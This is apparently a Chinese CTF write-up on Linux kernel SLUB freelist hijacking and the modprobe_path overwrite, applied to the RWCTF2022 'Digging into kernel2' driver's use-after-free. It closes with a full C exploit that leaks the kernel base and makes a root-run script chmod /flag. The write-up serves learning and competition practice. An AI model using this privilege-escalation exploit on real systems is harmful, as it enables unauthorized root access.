这个我熟,tcache poisoning
[toc]
Linux kernel之freelist劫持
0x00. 基础知识:slub分配器中的freelist
我们知道Linux kernel中的内存管理结构包括buddy system和slub allocator。而slub allocator也是由链表来进行管理的,包括正在使用的kmem_cache_cpu和kmem_cache_node。而释放掉的obj和我们用户态差不多,同样由头插法插入叫做freelist的链表。
该链表与tcache和fastbin的类似,遵循后进先出的形式(但需要注意的是obj不含有用户态chunk一样的header),并同样有一个指针指向freelist中下一个堆块。
因此,若我们打印该指针,可以得到freelist中下一个obj的地址;若我们劫持该指针指向任意位置,则可以将obj分配到任意位置,和用户态中的tcache十分类似。
注意,此处描述的是不开启堆保护机制的情况。
0x01. 基础知识:kernel中的堆保护
Hardened freelist
我们知道glibc高版本中的tcache的next指针是有加密的,方法是将堆地址右移十二位再异或next指针。
在开启了Hardened freelist保护的内核中,freelist上的指针就和高版本的glibc类似。
freelist上的指针将由以下三个部分异或组成:
- 当前
free obj的地址
- 下一个
free obj的地址
- 由
kmem_cache指定的random值
如你所见,在开启了这个保护的情况下,攻击者至少需要得知当前free obj的地址和random值才可以劫持freelist…
Random freelist
在用户态下,分配chunk的过程是不断切割top chunk的过程,因此分配出的chunk都是在连续内存空间内的。
在开启了random freelist的kernel下,每个freelist中的obj不再位于连续的空间——而是在一个slub allocator中随机分布。如下所示:(图来自于arttnba3师傅)

而这种保护实际上发生于slub allocator刚从buddy system拿到新slub的时候。由此,在之后,freelist仍然保持后进先出,这并不会给我们劫持freelist的fd造成实质影响。
CONFIG_INIT_ON_ALLOC_DEFAULT_ON
很简单,开启该保护的时候,kernel的buddy system和slab allocator均会将分配出的obj上的内容清空,也就是防止未初始化的内存泄露~
Hardened Usercopy
简单来说就是会检测用户空间和内核空间相互进行数据拷贝的时候是否溢出,包括copy_from_user和copy_to_user等函数。
这种保护不适用于内核空间相互数据拷贝,因此可以从这个角度进行绕过~
0x02. 基础知识:modprobe_path
什么是modprobe_path
在Linux下,若我们执行一个非法文件(即file magic not found)时,内核会经历如下的调用链:
1 2 3 4 5 6 7 8 9
| entry_SYSCALL_64() sys_execve() do_execve() do_execveat_common() bprm_execve() exec_binprm() search_binary_handler() __request_module() call_modprobe()
|
最终执行的是call_modprobe(),而call_modprobe如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| static int call_modprobe(char *module_name, int wait) { argv[0] = modprobe_path; argv[1] = "-q"; argv[2] = "--"; argv[3] = module_name; argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL); if (!info) goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
|
可以看到,其会以root权限来执行modprobe_path中的内容。
而modprobe_path中本身的内容是/sbin/modprobe。若我们能够将其劫持为一个恶意脚本路径(例如,里面写了chmod 777 /flag),则可以以root权限来执行这个恶意脚本。
显然,我们可以用freelist来劫持modprobe_path。
kernel pwn中如何找到modprobe_path的地址
我们无法通过cat /proc/kallsyms来找到modprobe_path的地址。幸运的是,在__request_module中,存在一个对modprobe_path的引用。由此,我们可以从/proc/kallsyms中找到__request_module函数的地址,并使用gdb连接到kernel,查看该函数附近的汇编代码,即可找到modprobe_path的地址~
具体如下:
首先我们找到__request_module函数的地址:

随后,我们让gdb连接到该kernel,设置target remote:1234即可,通过x/40i来查看刚刚获得的函数地址附近的代码:

如上所示,箭头所指的地方就是modprobe_path的地址的引用。
通过如上方式,我们就可以获得modprobe_path的地址。
0x03. 初探freelist劫持:以RWCTF2022体验赛: Digging into kernel2为例
题目信息
题目启动脚本如下:
1 2 3 4 5 6 7 8
| qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \ -cpu kvm64,+smep,+smap \ -monitor null \ --nographic \ -s
|
可以看到:
- 开启了
smep、smap保护,这意味着内核无法执行或者访问用户态的代码和数据;
- 开启了
kaslr保护,这意味着内核基地址随机;
- 没有设置
oops=panic panic=1,我们将其加上可以使得内核崩溃后退出。
题目rcS启动脚本(/etc/init.d/rcS)如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #!/bin/sh
chown -R 0:0 /
mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev
echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict
insmod /xkmod.ko chmod 644 /dev/xkmod
chmod 600 /flag chmod 600 /etc/init.d/rcS
mkdir home && cd home chown -R 1000:1000 .
echo "-------------------------------------------" echo "| |" echo "| |~~\| | | /~~~~|~~|~~ /~\ /~~\/~\/| |" echo "| |__/| | || | |-- ,/| |,/ | |" echo "| |__/| | || | |-- ,/| |,/ | |" echo "| | \ \/ \/ \__ | | /__ \__//___|_ |" echo "| |" echo "-------------------------------------------"
poweroff -d 120 -f & setsid cttyhack setuidgid 1000 sh # setsid cttyhack setuidgid 0 sh
poweroff -d 0 -f
|
可以看到:
- 设置
dmesg_restrict为1,这意味着普通用户不再能够通过dmesg查看printk输出
- 设置
kptr_restrict为1,这意味着普通用户无法直接查看/proc/kallsyms获取函数地址
- 没有挂载
pts,这意味着我们无法打开/dev/ptmx来打开tty_struct结构体
题目驱动的file_operations定义了init、release和ioctl,分别如下:

可以看到,其创建了一个属于kmalloc-192的kmem_cache,名为lalala;
ioctl中有分配、编辑、查看堆块功能:

可以看到,分配的obj保存在全局变量buf中。
而release中,可以释放obj,存在UAF:

解题思路概览
这道题首先和ciscn-2017-babydriver类似:分配的obj由全局变量buf表示,这意味着我们可以通过打开多个题目驱动,来使得多个fd都指向这个全局变量。由于UAF的存在,我们可以关闭一个fd,而让其它的fd来编辑这个已经释放的堆块。
题目给定的kmem_cache为kmalloc-192,但没有任何分配flag:这就让我们的利用方式多样。而考虑到这里kmalloc-192不属于我们之前学到的seq_file和pipe的大小,而且本题也无法打开tty_struct,我们需要考虑使用别的方式来解出本题。
回到本题,本题给出了一个白给的UAF,并且含有编辑功能。在我们用户态下,我们便可以直接利用这点来打__free_hook:
这在内核中也类似,我们可以通过劫持freelist来实现任意地址写。
由此,我们先查看已经释放的obj的指针,观察其是否开启了Hardened freelist保护和Random freelist保护。经过测试,本题开启了random freelist,而没有开启hardened freelist。因此我们可以便捷地劫持freelist指针。
劫持到哪里呢?其实已经呼之欲出,将其指向modprobe_path,修改其内容为恶意脚本,即可修改modprobe_path来完成攻击~
解题思路重点 - 通过堆泄露内核基地址
在劫持freelist指向modprobe_path之前,我们需要思考如何泄露内核基地址。
师傅需要知道如下堆上的特性:
在堆地址+ 0x9d000处,存在一个地址:secondary_startup_64。因此,我们可以将freelist申请到这块obj,并泄露其中的内容,获取secondary_startup_64的地址,从而泄露内核基地址。
但由于Random freelist的存在,我们UAF的obj的地址是非常随机的,由此我们将其& 0xfffffffff0000000,猜测出其堆块基地址,若未命中,需要重新运行exp。
解题思路重点 - freelist合法性
在本题中,还需要注意保持freelist的合法性。
在用户态中,若我们让某条tcache链指向非法地址,则再次从该链中申请chunk时就会报错。
内核中也是如此,我们不能让freelist指向一个非法地址,即使是不再从里面申请也不行——因为很可能别的函数也会申请内存空间。因此,我们需要让freelist指针指向0。例如,在劫持modprobe_path的时候,我们可以指向其地址-0x10处:如此便可以让freelist中挂入的地址为0。
解题脚本
详细注释的exp脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdarg.h> #include "ltfallkernel.h"
#define SECONDARY_STARTUP_64 0Xffffffff81000030 #define MODPROBE_PATH 0xffffffff82444700
#define ROOT_SCRIPT_PATH "/home/shell.sh"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag\n";
typedef struct { size_t *content; unsigned int offset; unsigned int size; } book;
void note_read(int fd, book *b) {
ioctl(fd, 0x6666666, b); }
void note_write(int fd, book *b) { ioctl(fd, 0x7777777, b); }
void note_add(int fd, book *b) { ioctl(fd, 0x1111111, b); }
int main() { int dev_fd[5]; int root_script_fd; size_t kernel_heap_leak; size_t page_offset_base; char flag[0x50]; int flag_fd;
bind_core(0); save_status();
info("Starting to exploit...");
for (int i = 0; i < 5; i++) { dev_fd[i] = open("/dev/xkmod", O_RDONLY); if (dev_fd[i] == -1) { err_exit("Failed to open /dev/xkmod."); } }
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT, 777); if (root_script_fd == -1) { err_exit("Failed to create root_script."); } write(root_script_fd, root_cmd, sizeof(root_cmd)); close(root_script_fd); system("chmod +x " ROOT_SCRIPT_PATH); success("Finished writing root_script to " ROOT_SCRIPT_PATH);
book data; data.content = malloc(0x1000); data.offset = 0; data.size = 0x50;
note_add(dev_fd[0], &data); note_read(dev_fd[0], &data); close(dev_fd[0]);
note_write(dev_fd[1], &data); kernel_heap_leak = data.content[0];
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;
info("kernel_heap_leak is 0x%llx.", kernel_heap_leak); info("Guessing page_offet_base: 0x%llx.", page_offset_base);
info("Since, try to alloc fake chunk at page_offset_base + 0x9d000 - 0x10 to leak kernel base...");
data.content[0] = page_offset_base + 0x9d000 - 0x10; data.offset = 0; data.size = 8;
note_read(dev_fd[1], &data); note_add(dev_fd[1], &data); note_add(dev_fd[1], &data);
data.size = 0x40; note_write(dev_fd[1], &data); if ((data.content[2] & 0xfff) != (SECONDARY_STARTUP_64 & 0xfff)) { error("Invalid data leak: 0x%llx.", data.content[2]); err_exit("Failed to HIT page_offset_base, try again!"); }
kernel_offset = data.content[2] - SECONDARY_STARTUP_64; kernel_base += kernel_offset;
success("Kernel Offset: 0x%llx.", kernel_offset); success("Kernel Base: 0x%llx.", kernel_base);
info("Making UAF again and hijacking modprobe_path...");
note_add(dev_fd[1], &data); close(dev_fd[1]);
data.content[0] = kernel_offset + MODPROBE_PATH - 0x10; data.offset = 0; data.size = 0x8;
info("Hijacking freelist..."); note_read(dev_fd[2], &data); note_add(dev_fd[2], &data); note_add(dev_fd[2], &data);
strcpy(&data.content[2], ROOT_SCRIPT_PATH); data.size = 0x30; note_read(dev_fd[2], &data);
info("Triggering fake modprobe_path..."); system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake"); system("chmod +x /home/fake"); system("/home/fake");
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR); if (flag_fd < 0) { err_exit("Failed to chmod for flag!"); }
read(flag_fd, flag, sizeof(flag)); success("Got flag: %s.", flag);
return 0; }
|